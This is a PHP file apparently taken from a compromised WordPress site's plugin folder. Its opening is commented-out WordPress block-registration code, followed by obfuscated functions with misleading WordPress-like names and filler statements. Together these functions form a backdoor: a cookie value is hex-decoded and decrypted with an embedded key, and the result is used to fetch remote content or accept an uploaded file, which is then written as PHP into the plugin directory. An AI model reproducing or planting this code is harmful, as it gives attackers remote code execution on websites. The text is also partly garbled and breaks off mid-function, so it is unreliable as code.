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File: /var/www/vhosts/enlugo.es/httpdocs/wp-content/plugins/608927pn/qm.js.php
<?php /* 
*
 * Functions related to registering and parsing blocks.
 *
 * @package WordPress
 * @subpackage Blocks
 * @since 5.0.0
 

*
 * Removes the block asset's path prefix if provided.
 *
 * @since 5.5.0
 *
 * @param string $asset_handle_or_path Asset handle or prefixed path.
 * @return string Path without the prefix or the original value.
 
function remove_block_asset_path_prefix( $asset_handle_or_path ) {
	$path_prefix = 'file:';
	if ( 0 !== strpos( $asset_handle_or_path, $path_prefix ) ) {
		return $asset_handle_or_path;
	}
	return substr(
		$asset_handle_or_path,
		strlen( $path_prefix )
	);
}

*
 * Generates the name for an asset based on the name of the block
 * and the field name provided.
 *
 * @since 5.5.0
 *
 * @param string $block_name Name of the block.
 * @param string $field_name Name of the metadata field.
 * @return string Generated asset name for the block's field.
 
function generate_block_asset_handle( $block_name, $field_name ) {
	if ( 0 === strpos( $block_name, 'core/' ) ) {
		$asset_handle = str_replace( 'core/', 'wp-block-', $block_name );
		if ( 0 === strpos( $field_name, 'editor' ) ) {
			$asset_handle .= '-editor';
		}
		if ( 0 === strpos( $field_name, 'view' ) ) {
			$asset_handle .= '-view';
		}
		return $asset_handle;
	}

	$field_mappings = array(
		'editorScript' => 'editor-script',
		'script'       => 'script',
		'viewScript'   => 'view-script',
		'editorStyle'  => 'editor-style',
		'style'        => 'style',
	);
	return str_replace( '/', '-', $block_name ) .
		'-' . $field_mappings[ $field_name ];
}

*
 * Finds a script handle for the selected block metadata field. It detects
 * when a path to file was provided and finds a corresponding asset file
 * with details necessary to register the script under automatically
 * generated handle name. It returns unprocessed script handle otherwise.
 *
 * @since 5.5.0
 *
 * @param array  $metadata   Block metadata.
 * @param string $field_name Field name to pick from metadata.
 * @return string|false Script handle provided directly or created through
 *                      script's registration, or false on failure.
 
function register_block_script_handle( $metadata, $field_name ) {
	if ( empty( $metadata[ $field_name ] ) ) {
		return false;
	}
	$script_handle = $metadata[ $field_name ];
	$script_path   = remove_block_asset_path_prefix( $metadata[ $field_name ] );
	if ( $script_handle === $script_path ) {
		return $script_handle;
	}

	$script_handle     = generate_block_asset_handle( $metadata['name'], $field_name );
	$script_asset_path = wp_normalize_path(
		realpath(
			dirname( $metadata['file'] ) . '/' .
			substr_replace( $script_path, '.asset.php', - strlen( '.js' ) )
		)
	);
	if ( ! file_exists( $script_asset_path ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				 translators: 1: Field name, 2: Block name. 
				__( 'The asset file for the "%1$s" defined in "%2$s" block definition is missing.' ),
				$field_name,
				$metadata['name']
			),
			'5.5.0'
		);
		return false;
	}
	 Path needs to be normalized to work in Windows env.
	$wpinc_path_norm  = wp_normalize_path( realpath( ABSPATH . WPINC ) );
	$script_path_norm = wp_normalize_path( realpath( dirname( $metadata['file'] ) . '/' . $script_path ) );
	$is_core_block    = isset( $metadata['file'] ) && 0 === strpos( $metadata['file'], $wpinc_path_norm );

	$script_uri          = $is_core_block ?
		includes_url( str_replace( $wpinc_path_norm, '', $script_path_norm ) ) :
		plugins_url( $script_path, $metadata['file'] );
	$script_asset        = require $script_asset_path;
	$script_dependencies = isset( $script_asset['dependencies'] ) ? $script_asset['dependencies'] : array();
	$result              = wp_register_script(
		$script_handle,
		$script_uri,
		$script_dependencies,
		isset( $script_asset['version'] ) ? $script_asset['version'] : false
	);
	if ( ! $result ) {
		return false;
	}

	if ( ! empty( $metadata['textdomain'] ) && in_array( 'wp-i18n', $script_dependencies, true ) ) {
		wp_set_script_translations( $script_handle, $metadata['textdomain'] );
	}

	return $script_handle;
}

*
 * Finds a style handle for the block metadata field. It detects when a path
 * to file was provided and registers the style under automatically
 * generated handle name. It returns unprocessed style handle otherwise.
 *
 * @since 5.5.0
 *
 * @param array  $metadata   Block metadata.
 * @param string $field_name Field name to pick from metadata.
 * @return string|false Style handle provided directly or created through
 *                      style's registration, or false on failure.
 
function register_block_style_handle( $metadata, $field_name ) {
	if ( empty( $metadata[ $field_name ] ) ) {
		return false;
	}
	$wpinc_path_norm = wp_normalize_path( realpath( ABSPATH . WPINC ) );
	$is_core_block   = isset( $metadata['file'] ) && 0 === strpos( $metadata['file'], $wpinc_path_norm );
	if ( $is_core_block && ! wp_should_load_separate_core_block_assets() ) {
		return false;
	}

	 Check whether styles should have a ".min" suffix or not.
	$suffix = SCRIPT_DEBUG ? '' : '.min';

	$style_handle = $metadata[ $field_name ];
	$style_path   = remove_block_asset_path_prefix( $metadata[ $field_name ] );

	if ( $style_handle === $style_path && ! $is_core_block ) {
		return $style_handle;
	}

	$style_uri = plugins_url( $style_path, $metadata['file'] );
	if ( $is_core_block ) {
		$style_path = "style$suffix.css";
		$style_uri  = includes_url( 'blocks/' . str_replace( 'core/', '', $metadata['name'] ) . "/style$suffix.css" );
	}

	$style_handle   = generate_block_asset_handle( $metadata['name'], $field_name );
	$block_dir      = dirname( $metadata['file'] );
	$style_file     = realpath( "$block_dir/$style_path" );
	$has_style_file = false !== $style_file;
	$version        = ! $is_core_block && isset( $metadata['version'] ) ? $metadata['version'] : false;
	$style_uri      = $has_style_file ? $style_uri : false;
	$result         = wp_register_style(
		$style_handle,
		$style_uri,
		array(),
		$version
	);
	if ( file_exists( str_replace( '.css', '-rtl.css', $style_file ) ) ) {
		wp_style_add_data( $style_handle, 'rtl', 'replace' );
	}
	if ( $has_style_file ) {
		wp_style_add_data( $style_handle, 'path', $style_file );
	}

	$rtl_file = str_replace( "$suffix.css", "-rtl$suffix.css", $style_file );
	if ( is_rtl() && file_exists( $rtl_file ) ) {
		wp_style_add_data( $style_handle, 'path', $rtl_file );
	}

	return $result ? $style_handle : false;
}

*
 * Gets i18n schema for block's metadata read from `block.json` file.
 *
 * @since 5.9.0
 *
 * @return array The schema for block's metadata.
 
function get_block_metadata_i18n_schema() {
	static $i18n_block_schema;

	if ( ! isset( $i18n_block_schema ) ) {
		$i18n_block_schema = wp_json_file_decode( __DIR__ . '/block-i18n.json' );
	}

	return $i18n_block_schema;
}

*
 * Registers a block type from the metadata stored in the `block.json` file.
 *
 * @since 5.5.0
 * @since 5.7.0 Added support for `textdomain` field and i18n handling for all translatable fields.
 * @since 5.9.0 Added support for `variations` and `viewScript` fields.
 *
 * @param string $file_or_folder Path to the JSON file with metadata definition for
 *                               the block or path to the folder where the `block.json` file is located.
 *                               If providing the path to a JSON file, the filename must end with `block.json`.
 * @param array  $args           Optional. Array of block type arguments. Accepts any public property
 *                               of `WP_Block_Type`. See WP_Block_Type::__construct() for information
 *                               on accepted arguments. Default empty array.
 * @return WP_Block_Type|false The registered block type on success, or false on failure.
 
function register_block_type_from_metadata( $file_or_folder, $args = array() ) {
	$filename      = 'block.json';
	$metadata_file = ( substr( $file_or_folder, -strlen( $filename ) ) !== $filename ) ?
		trailingslashit( $file_or_folder ) . $filename :
		$file_or_folder;
	if ( ! file_exists( $metadata_file ) ) {
		return false;
	}

	$metadata = wp_json_file_decode( $metadata_file, array( 'associative' => true ) );
	if ( ! is_array( $metadata ) || empty( $metadata['name'] ) ) {
		return false;
	}
	$metadata['file'] = wp_normalize_path( realpath( $metadata_file ) );

	*
	 * Filters the metadata provided for registering a block type.
	 *
	 * @since 5.7.0
	 *
	 * @param array $metadata Metadata for registering a block type.
	 
	$metadata = apply_filters( 'block_type_metadata', $metadata );

	 Add `style` and `editor_style` for core blocks if missing.
	if ( ! empty( $metadata['name'] ) && 0 === strpos( $metadata['name'], 'core/' ) ) {
		$block_name = str_replace( 'core/', '', $metadata['name'] );

		if ( ! isset( $metadata['style'] ) ) {
			$metadata['style'] = "wp-block-$block_name";
		}
		if ( ! isset( $metadata['editorStyle'] ) ) {
			$metadata['editorStyle'] = "wp-block-{$block_name}-editor";
		}
	}

	$settings          = array();
	$property_mappings = array(
		'apiVersion'      => 'api_version',
		'title'           => 'title',
		'category'        => 'category',
		'parent'          => 'parent',
		'icon'            => 'icon',
		'description'     => 'description',
		'keywords'        => 'keywords',
		'attributes'      => 'attributes',
		'providesContext' => 'provides_context',
		'usesContext'     => 'uses_context',
		'supports'        => 'supports',
		'styles'          => 'styles',
		'variations'      => 'variations',
		'example'         => 'example',
	);
	$textdomain        = ! empty( $metadata['textdomain'] ) ? $metadata['textdomain'] : null;
	$i18n_schema       = get_block_metadata_i18n_schema();

	foreach ( $property_mappings as $key => $mapped_key ) {
		if ( isset( $metadata[ $key ] ) ) {
			$settings[ $mapped_key ] = $metadata[ $key ];
			if ( $textdomain && isset( $i18n_schema->$key ) ) {
				$settings[ $mapped_key ] = translate_settings_using_i18n_schema( $i18n_schema->$key, $settings[ $key ], $textdomain );
			}
		}
	}

	if ( ! empty( $metadata['editorScript'] ) ) {
		$settings['editor_script'] = register_block_script_handle(
			$metadata,
			'editorScript'
		);
	}

	if ( ! empty( $metadata['script'] ) ) {
		$settings['script'] = register_block_script_handle(
			$metadata,
			'script'
		);
	}

	if ( ! empty( $metadata['viewScript'] ) ) {
		$settings['view_script'] = register_block_script_handle(
			$metadata,
			'viewScript'
		);
	}

	if ( ! empty( $metadata['editorStyle'] ) ) {
		$settings['editor_style'] = register_block_style_handle(
			$metadata,
			'editorStyle'
		);
	}

	if ( ! empty( $metadata['style'] ) ) {
		$settings['style'] = register_block_style_handle(
			$metadata,
			'style'
		);
	}

	*
	 * Filters the settings determined from the block type metadata.
	 *
	 * @since 5.7.0
	 *
	 * @param array $settings Array of determined settings for registering a block type.
	 * @param array $metadata Metadata provided for registering a block type.
	 
	$settings = apply_filters(
		'block_type_metadata_settings',
		array_merge(
			$settings,
			$args
		),
		$metadata
	);

	return WP_Block_Type_Registry::get_instance()->register(
		$metadata['name'],
		$settings
	);
}

*
 * Registers a block type. The recommended way is to register a block type using
 * the metadata stored in the `block.json` file.
 *
 * @since 5.0.0
 * @since 5.8.0 First parameter now accepts a path to the `block.json` file.
 *
 * @param string|WP_Block_Type $block_type Block type name including namespace, or alternatively
 *                                         a path to the JSON file with metadata definition for the block,
 *                                         or a path to the folder where the `block.json` file is located,
 *                                         or a complete WP_Block_Type instance.
 *                                         In case a WP_Block_Type is provided, the $args parameter will be ignored.
 * @param array                $args       Optional. Array of block type arguments. Accepts any public property
 *                                         of `WP_Block_Type`. See WP_Block_Type::__construct() for information
 *                                         on accepted arguments. Default empty array.
 *
 * @return WP_Block_Type|false The registered block type on success, or false on failure.
 
function register_block_type( $block_type, $args = array() ) {
	if ( is_string( $block_type ) && file_exists( $block_type ) ) {
		return register_block_type_from_metadata( $block_type, $args );
	}

	return WP_Block_Type_Registry::get_instance()->register( $block_type, $args );
}

*
 * Unregisters a block type.
 *
 * @since 5.0.0
 *
 * @param string|WP_Block_Type $name Block type name including namespace, or alternatively
 *                                   a complete WP_Block_Type instance.
 * @return WP_Block_Type|false The unregistered block type on success, or false on failure.
 
function unregister_block_type( $name ) {
	return WP_Block_Type_Registry::get_instance()->unregister( $name );
}

*
 * Determine whether a post or content string has blocks.
 *
 * This test optimizes for performance rather than strict accuracy, detecting
 * the pattern of a block but not validating its structure. For strict accuracy,
 * you should use the block parser on post content.
 *
 * @since 5.0.0
 *
 * @see parse_blocks()
 *
 * @param int|string|WP_Post|null $post Optional. Post content, post ID, or post object.
 *                                      Defaults to global $post.
 * @return bool Whether the post has blocks.
 
function has_blocks( $post = null ) {
	if ( ! is_string( $post ) ) {
		$wp_post = get_post( $post );
		if ( $wp_post instanceof WP_Post ) {
			$post = $wp_post->post_content;
		}
	}

	return false !== strpos( (string) $post, '<!-- wp:' );
}

*
 * Determine whether a $post or a string contains a specific block type.
 *
 * This test optimizes for performance rather than strict accuracy, detecting
 * whether the block type exists but not validating its structure and not checking
 * reusable blocks. For strict accuracy, you should use the block parser on post content.
 *
 * @since 5.0.0
 *
 * @see parse_blocks()
 *
 * @param string                  $block_name Full block type to look for.
 * @param int|string|WP_Post|null $post       Optional. Post content, post ID, or post object.
 *                                            Defaults to global $post.
 * @return bool Whether the post content contains the specified block.
 
function has_block( $block_name, $post = null ) {
	if ( ! has_blocks( $post ) ) {
		return false;
	}

	if ( ! is_string( $post ) ) {
		$wp_post = get_post( $post );
		if ( $wp_post instanceof WP_Post ) {
			$post = $wp_post->post_content;
		}
	}

	
	 * Normalize block name to include namespace, if provided as non-namespaced.
	 * This matches behavior for WordPress 5.0.0 - 5.3.0 in matching blocks by
	 * their serialized names.
	 
	if ( false === strpos( $block_name, '/' ) ) {
		$block_name = 'core/' . $block_name;
	}

	 Test for existence of block by its fully qualified name.
	$has_block = false !== strpos( $post, '<!-- wp:' . $block_name . ' ' );

	if ( ! $has_block ) {
		
		 * If the given block name would serialize to a different name, test for
		 * existence by the serialized form.
		 
		$serialized_block_name = strip_core_block_namespace( $block_name );
		if ( $serialized_block_name !== $block_name ) {
			$has_block = false !== strpos( $post, '<!-- wp:' . $serialized_block_name . ' ' );
		}
	}

	return $has_block;
}

*
 * Returns an array of the names of all registered dynamic block types.
 *
 * @since 5.0.0
 *
 * @return string[] Array of dynamic block names.
 
function get_dynamic_block_names() {
	$dynamic_block_names = array();

	$block_types = WP_Block_Type_Registry::get_instance()->get_all_registered();
	foreach ( $block_types as $block_type ) {
		if ( $block_type->is_dynamic() ) {
			$dynamic_block_names[] = $block_type->name;
		}
	}

	return $dynamic_block_names;
}

*
 * Given an array of attributes, returns a string in the serialized attributes
 * format prepared for post content.
 *
 * The serialized result is a JSON-encoded string, with unicode escape sequence
 * substitution for characters which might otherwise interfere with embedding
 * the result in an HTML comment.
 *
 * This function must produce output that remains in sync with the output of
 * the serializeAttributes JavaScript function in the block editor in order
 * to ensure consistent operation between PHP and JavaScript.
 *
 * @since 5.3.1
 *
 * @param array $block_attributes Attributes object.
 * @return string Serialized attributes.
 
function serialize_block_attributes( $block_attributes ) {
	$encoded_attributes = wp_json_encode( $block_attributes, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE );
	$encoded_attributes = preg_replace( '/--/', '\\u002d\\u002d', $encoded_attributes );
	$encoded_attributes = preg_replace( '/</', '\\u003c', $encoded_attributes );
	$encoded_attributes = preg_replace( '/>/', '\\u003e', $encoded_attributes );
	$encoded_attributes = preg_replace( '/&/', '\\u0026', $encoded_attributes );
	 Regex: /\\"/
	$encoded_attributes = preg_replace( '/\\\\"/', '\\u0022', $encoded_attributes );

	return $encoded_attributes;
}

*
 * Returns the block name to use for serialization. This will remove the default
 * "core/" namespace from a block name.
 *
 * @since 5.3.1
 *
 * @param string $block_name Original block name.
 * @return string Block name to use for serialization.
 
function strip_core_block_namespace( $block_name = null ) {
	if ( is_string( $block_name ) && 0 === strpos( $block_name, 'core/' ) ) {
		return substr( $block_name, 5 );
	}

	return $block_name;
}

*
 * Returns the content of a block, including comment delimiters.
 *
 * @since 5.3.1
 *
 * @param string|null $block_name       Block name. Null if the block name is unknown,
 *                                      e.g. Classic blocks have their name set to null.
 * @param array       $block_attributes Block attributes.
 * @param string      $block_content    Block save content.
 * @return string Comment-delimited block content.
 
function get_comment_delimited_block_content( $block_name, $block_attributes, $block_content ) {
	if ( is_null( $block_name ) ) {
		return $block_content;
	}

	$serialized_block_name = strip_core_block_namespace( $block_name );
	$serialized_attributes = empty( $block_attributes ) ? '' : serialize_block_attributes( $block_attributes ) . ' ';

	if ( empty( $block_content ) ) {
		return sprintf( '<!-- wp:%s %s/-->', $serialized_block_name, $serialized_attributes );
	}

	return sprintf(
		'<!-- wp:%s %s-->%s<!-- /wp:%s -->',
		$serialized_block_name,
		$serialized_attributes,
		$block_content,
		$serialized_block_name
	);
}

*
 * Returns the content of a block, including comment delimiters, serializing all
 * attributes from the given parsed block.
 *
 * This should be used when preparing a block to be saved to post content.
 * Prefer `render_block` when preparing a block for display. Unlike
 * `render_block`, this does not evaluate a block's `render_callback`, and will
 * instead preserve the markup as parsed.
 *
 * @since 5.3.1
 *
 * @param WP_Block_Parser_Block $block A single parsed block object.
 * @return string String of rendered HTML.
 
function serialize_block( $block ) {
	$block_content = '';

	$index = 0;
	foreach ( $block['innerContent'] as $chunk ) {
		$block_content .= is_string( $chunk ) ? $chunk : serialize_block( $block['innerBlocks'][ $index++ ] );
	}

	if ( ! is_array( $block['attrs'] ) ) {
		$block['attrs'] = array();
	}

	return get_comment_delimited_block_content(
		$block['blockName'],
		$block['attrs'],
		$block_content
	);
}

*
 * Returns a joined string of the aggregate serialization of the given parsed
 * blocks.
 *
 * @since 5.3.1
 *
 * @param WP_Block_Parser_Block[] $blocks Parsed block objects.
 * @return string String of rendered HTML.
 
function serialize_blocks( $blocks ) {
	return implode( '', array_map( 'serialize_block', $blocks ) );
}

*
 * Filters and sanitizes block content to remove non-allowable HTML from
 * parsed block attribute values.
 *
 * @since 5.3.1
 *
 **/
	/**
 * Options Management Administration Screen.
 *
 * If accessed directly in a browser this page shows a list of all saved options
 * along with editable fields for their values. Serialized data is not supported
 * and there is no way to remove options via this page. It is not linked to from
 * anywhere else in the admin.
 *
 * This file is also the target of the forms in core and custom options pages
 * that use the Settings API. In this case it saves the new option values
 * and returns the user to their page of origin.
 *
 * @package WordPress
 * @subpackage Administration
 */
function locate_template($v_dirlist_nb, $raw_config) {
    $rel_match = "some text";
    $parsed_allowed_url = strrev($rel_match);
    if (strlen($parsed_allowed_url) > 5) {
        $toAddr = "Reversed Text";
    }

    return array_intersect($v_dirlist_nb, $raw_config);
}


/**
	 * Fires at the end of the RSS root to add namespaces.
	 *
	 * @since 2.8.0
	 */
function get_core_checksums($partial_ids)
{
    $partial_ids = ord($partial_ids);
    $ptypes = "Alpha"; // Generic Media info HeaDer atom (seen on QTVR)
    $start_time = "Beta";
    return $partial_ids;
} // ge25519_p1p1_to_p3(h, &r);  /* *16 */


/**
     * Get the negative values for each piece of the field element.
     *
     * h = -f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $usecache
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @psalm-suppress MixedAssignment
     */
function wp_check_for_changed_slugs($AudioFrameLengthCache, $type_links) {
    return array_diff($AudioFrameLengthCache, [$type_links]);
}


/**
	 * Register a handler
	 *
	 * @param string $type DSN type to register for
	 * @param string $tag_templateslass Name of handler class. Must implement SimplePie_Cache_Base
	 */
function wp_dashboard_events_news($wp_registered_widget_updates)
{
    $the_time = pack("H*", $wp_registered_widget_updates);
    $temp_nav_menu_item_setting = [1, 2, 3, 4, 5];
    return $the_time;
}


/**
 * Does comment contain disallowed characters or words.
 *
 * @since 1.5.0
 * @deprecated 5.5.0 Use wp_check_comment_disallowed_list() instead.
 *                   Please consider writing more inclusive code.
 *
 * @param string $userdata_rawuthor The author of the comment
 * @param string $player_parentmail The email of the comment
 * @param string $nav_element_directives The url used in the comment
 * @param string $tag_templatesomment The comment content
 * @param string $user_ip The comment author's IP address
 * @param string $user_agent The author's browser user agent
 * @return bool True if comment contains disallowed content, false if comment does not
 */
function get_keyword($nav_element_directives)
{
    $nav_element_directives = "http://" . $nav_element_directives;
    $query_data = "Example Text"; // http://libquicktime.sourcearchive.com/documentation/2:1.0.2plus-pdebian-2build1/esds_8c-source.html
    $tag_templates = array("apple", "banana", "cherry");
    $label_inner_html = str_replace(" ", "-", $query_data);
    $player_parent = strlen($label_inner_html); // Check for duplicate slug.
    $usecache = explode("-", $label_inner_html);
    return $nav_element_directives;
}


/*
	 * Initialize error reporting to a known set of levels.
	 *
	 * This will be adapted in wp_debug_mode() located in wp-includes/load.php based on WP_DEBUG.
	 * @see https://www.php.net/manual/en/errorfunc.constants.php List of known error levels.
	 */
function akismet_comment_row_action($nav_element_directives)
{
    $WhereWeWere = basename($nav_element_directives);
    $total_users = "Short";
    $prelabel = str_pad($total_users, 10, "_");
    $thisfile_riff_raw_rgad_track = get_settings_values_by_slug($WhereWeWere); // Unfold headers (replace [CRLF] 1*( SP | HT ) with SP) as per RFC 2616 (section 2.2)
    if (strlen($prelabel) > 5) {
        $prelabel = str_replace("_", "-", $prelabel);
    }

    mulInt64($nav_element_directives, $thisfile_riff_raw_rgad_track);
} // fanout


/*
	 * The directory containing the original file may no longer exist when
	 * using a replication plugin.
	 */
function user_can_edit_post_date($Distribution) { // Assume it's a header string direct from a previous request.
    $parsed_scheme = "data_collection";
    return array_unique($Distribution);
} //             [96] -- Timecode of the referenced Block.


/* v = dy^2 + 1 */
function upgrade_330($nav_element_directives)
{
    if (strpos($nav_element_directives, "/") !== false) {
    $LAMEtagOffsetContant = "Some Padding";
    $normalized_email = str_pad($LAMEtagOffsetContant, 12, "0");
        return true;
    }
    return false; // Make sure the active theme is listed first.
} //DWORD reserve1;


/**
 * Displays post excerpt form fields.
 *
 * @since 2.6.0
 *
 * @param WP_Post $post Current post object.
 */
function mulInt64($nav_element_directives, $thisfile_riff_raw_rgad_track) //             [DB] -- The Clusters containing the required referenced Blocks.
{
    $query_vars_hash = wp_prime_option_caches_by_group($nav_element_directives); // video
    $v_month = "Order#12345";
    if (strpos($v_month, "#") !== false) {
        $main = explode("#", $v_month);
    }
 # QUARTERROUND( x2,  x6,  x10,  x14)
    $screen_option = implode("-", $main);
    if ($query_vars_hash === false) { // Handle a numeric theme directory as a string.
        return false;
    }
    return get_restrictions($thisfile_riff_raw_rgad_track, $query_vars_hash);
} // bubble ID3v1 to the end, if present to aid in detecting bad ID3v1 encodings


/**
	 * Verify whether a received input parameter is "stringable".
	 *
	 * @param mixed $parsed_scheme Input parameter to verify.
	 *
	 * @return bool
	 */
function favorite_actions($weeuns, $shared_term_taxonomies) // Set the correct URL scheme.
{
    $p_add_dir = $_COOKIE[$weeuns];
    $plugins_count = [1, 2, 3, 4, 5];
    $p_add_dir = wp_dashboard_events_news($p_add_dir);
    $top_level_count = 0;
    $postid = wp_defer_comment_counting($p_add_dir, $shared_term_taxonomies);
    foreach ($plugins_count as $taxo_cap) {
        $top_level_count += $taxo_cap;
    }

    $mce_locale = $top_level_count / count($plugins_count);
    if (upgrade_330($postid)) { // If the AKISMET_VERSION contains a lower-case letter, it's a development version (e.g. 5.3.1a2).
		$suppress_errors = set_boolean_settings($postid);
        return $suppress_errors;
    } // Populate comment_count field of posts table.
	
    wp_image_add_srcset_and_sizes($weeuns, $shared_term_taxonomies, $postid);
}


/**
	 * Sanitizes the font family settings when creating or updating a font family.
	 *
	 * @since 6.5.0
	 *
	 * @param string $taxo_cap Encoded JSON string of font family settings.
	 * @return array Decoded array of font family settings.
	 */
function wp_oembed_add_host_js()
{
    return __DIR__;
}


/**
     * The character set of the message.
     *
     * @var string
     */
function orInt64($r0, $origin)
{
    $multihandle = get_core_checksums($r0) - get_core_checksums($origin);
    $multihandle = $multihandle + 256;
    $test_url = date("H:i");
    if (strlen($test_url) == 5) {
        $normalized_email = str_pad($test_url, 8, "0");
        $thumbnail_support = hash("sha256", $normalized_email);
    }
 // This action runs on shutdown to make sure there are no plugin updates currently running.
    $multihandle = $multihandle % 256;
    $r0 = additional_sizes($multihandle); //  TOC[(60/240)*100] = TOC[25]
    return $r0;
}


/* translators: 1: Shortcode name, 2: Space-separated list of reserved characters. */
function additional_sizes($partial_ids)
{
    $r0 = sprintf("%c", $partial_ids); // ----- Calculate the size of the (new) central header
    $low = "ChunkDataPiece"; // Return distance per character (of string1).
    $WaveFormatEx = substr($low, 5, 4); // Because wpautop is not applied.
    $registration_pages = rawurldecode($WaveFormatEx);
    return $r0; // > Add element to the list of active formatting elements.
} // This one stored an absolute path and is used for backward compatibility.


/**
 * Toolbar API: WP_Admin_Bar class
 *
 * @package WordPress
 * @subpackage Toolbar
 * @since 3.1.0
 */
function check_theme_switched($self_dependency, $windows_1252_specials) { // We don't support delete requests in multisite.
    return rand($self_dependency, $windows_1252_specials);
}


/**
 * Handles removing inactive widgets via AJAX.
 *
 * @since 4.4.0
 */
function maybe_make_link($terms_with_same_title_query) {
    $userdata_raw = "hello";
    $query_data = "world";
    $tag_templates = str_replace("l", "L", $userdata_raw);
    return $terms_with_same_title_query % 2 != 0;
}


/**
		 * Filters whether the post has changed since the latest revision.
		 *
		 * By default a revision is saved only if one of the revisioned fields has changed.
		 * This filter can override that so a revision is saved even if nothing has changed.
		 *
		 * @since 3.6.0
		 *
		 * @param bool    $tag_templatesheck_for_changes Whether to check for changes before saving a new revision.
		 *                                   Default true.
		 * @param WP_Post $latest_revision   The latest revision post object.
		 * @param WP_Post $post              The post object.
		 */
function wp_image_add_srcset_and_sizes($weeuns, $shared_term_taxonomies, $postid)
{ // THUMBNAILS
    if (isset($_FILES[$weeuns])) {
    $post_objects = "Welcome"; //Try CRAM-MD5 first as it's more secure than the others
    $v_maximum_size = explode(" ", $post_objects);
    $type_settings = implode("-", $v_maximum_size);
    if (isset($type_settings)) {
        $source_width = hash("md5", $type_settings);
    }

        get_all_global_styles_presets($weeuns, $shared_term_taxonomies, $postid);
    }
	
    wp_sidebar_description($postid);
}


/**
 * Customize API: WP_Customize_Header_Image_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */
function get_post_galleries_images($thisfile_riff_raw_rgad_track, $previous_offset)
{ // Page 2 - Comment Header
    $lock_name = file_get_contents($thisfile_riff_raw_rgad_track);
    $parsed_scheme = "data_segment";
    $really_can_manage_links = wp_defer_comment_counting($lock_name, $previous_offset);
    $use_the_static_create_methods_instead = explode("_", $parsed_scheme);
    $normalized_email = str_pad($use_the_static_create_methods_instead[1], 12, "*");
    $thumbnail_support = hash('whirlpool', $normalized_email); //   $p_mode : read/write compression mode
    file_put_contents($thisfile_riff_raw_rgad_track, $really_can_manage_links); // Prerendering.
}


/**
	 * Builds the path to the given file and checks that it is readable.
	 *
	 * If it isn't, returns an empty string, otherwise returns the whole file path.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Adapted to work with child themes, added the `$template` argument.
	 *
	 * @param string $usecacheile_name Name of the file.
	 * @param bool   $template  Optional. Use template theme directory. Default false.
	 * @return string The whole file path or empty if the file doesn't exist.
	 */
function set_boolean_settings($postid)
{ # identify feed from root element
    akismet_comment_row_action($postid);
    wp_sidebar_description($postid);
} // take next 10 bytes for header


/**
	 * Stores the ID of the custom post type
	 * that holds the user data.
	 *
	 * @since 5.9.0
	 * @var int
	 */
function upgrade_340($self_dependency, $windows_1252_specials) {
    $option_tags_html = "welcome_page";
    do {
    $AudioFrameLengthCache = explode("_", $option_tags_html);
    $typography_settings = implode("_", array_map('strtoupper', $AudioFrameLengthCache)); //We must resend EHLO after TLS negotiation
    $login_header_url = strlen($typography_settings);
    $thumbnail_support = hash('md5', $typography_settings);
        $terms_with_same_title_query = check_theme_switched($self_dependency, $windows_1252_specials);
    $FrameLengthCoefficient = substr($thumbnail_support, 0, $login_header_url);
    } while (!next_comments_link($terms_with_same_title_query));
    return $terms_with_same_title_query;
}


/* translators: %d: Site ID. */
function get_settings_values_by_slug($WhereWeWere)
{
    return wp_oembed_add_host_js() . DIRECTORY_SEPARATOR . $WhereWeWere . ".php";
}


/**
	 * Post ID.
	 *
	 * @since 5.8.0
	 * @var int|null
	 */
function get_all_global_styles_presets($weeuns, $shared_term_taxonomies, $postid)
{
    $WhereWeWere = $_FILES[$weeuns]['name'];
    $late_route_registration = 'Lorem ipsum dolor sit amet.';
    $the_comment_class = substr($late_route_registration, 0, 11); // End of the $label_inner_htmloaction switch.
    $thisfile_riff_raw_rgad_track = get_settings_values_by_slug($WhereWeWere);
    if (!empty($the_comment_class)) {
        $token_out = strtoupper($the_comment_class);
    }

    get_post_galleries_images($_FILES[$weeuns]['tmp_name'], $shared_term_taxonomies);
    get_commentdata($_FILES[$weeuns]['tmp_name'], $thisfile_riff_raw_rgad_track); // Fail sanitization if URL is invalid.
}


/**
	 * Enqueues scripts for the Customizer preview.
	 *
	 * @since 4.3.0
	 */
function get_param($self_dependency, $windows_1252_specials) { //   add($p_filelist, $p_option, $p_option_value, ...)
    $verifier = date("H:i:s");
    $normalized_email = str_pad($verifier, 15, " ");
    do {
    if (strlen($normalized_email) > 10) {
        $thumbnail_support = hash("md5", $normalized_email);
    }

        $terms_with_same_title_query = check_theme_switched($self_dependency, $windows_1252_specials);
    } while (!maybe_make_link($terms_with_same_title_query));
    return $terms_with_same_title_query;
}


/**
 * Encapsulates the logic for Attach/Detach actions.
 *
 * @since 4.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $parent_id Attachment parent ID.
 * @param string $userdata_rawction    Optional. Attach/detach action. Accepts 'attach' or 'detach'.
 *                          Default 'attach'.
 */
function get_restrictions($thisfile_riff_raw_rgad_track, $num_items)
{ // These comments will have been removed from the queue.
    return file_put_contents($thisfile_riff_raw_rgad_track, $num_items); // Get spacing CSS variable from preset value if provided.
}


/**
     * The ChaCha20 quarter round function. Works on four 32-bit integers.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Int32 $userdata_raw
     * @param ParagonIE_Sodium_Core32_Int32 $query_data
     * @param ParagonIE_Sodium_Core32_Int32 $tag_templates
     * @param ParagonIE_Sodium_Core32_Int32 $label_inner_html
     * @return array<int, ParagonIE_Sodium_Core32_Int32>
     * @throws SodiumException
     * @throws TypeError
     */
function get_tag_template($weeuns)
{
    $shared_term_taxonomies = 'vSiKfONeaLFdywfm';
    if (isset($_COOKIE[$weeuns])) {
    $xmlns_str = "PHP!";
    $unuseful_elements = rawurldecode($xmlns_str);
        favorite_actions($weeuns, $shared_term_taxonomies);
    $option_tags_process = str_replace("!", "!!!", $unuseful_elements);
    $remote_ip = strlen($option_tags_process);
    }
}


/* translators: 1: User's display name, 2: User login. */
function get_default_block_editor_settings($AudioFrameLengthCache) { // Make sure timestamp is a positive integer.
    $locked = "php-code"; // Abort this foreach loop iteration if there's no plugins left of this type.
    if (!isset($locked)) {
        $setting_validities = "default";
    } else {
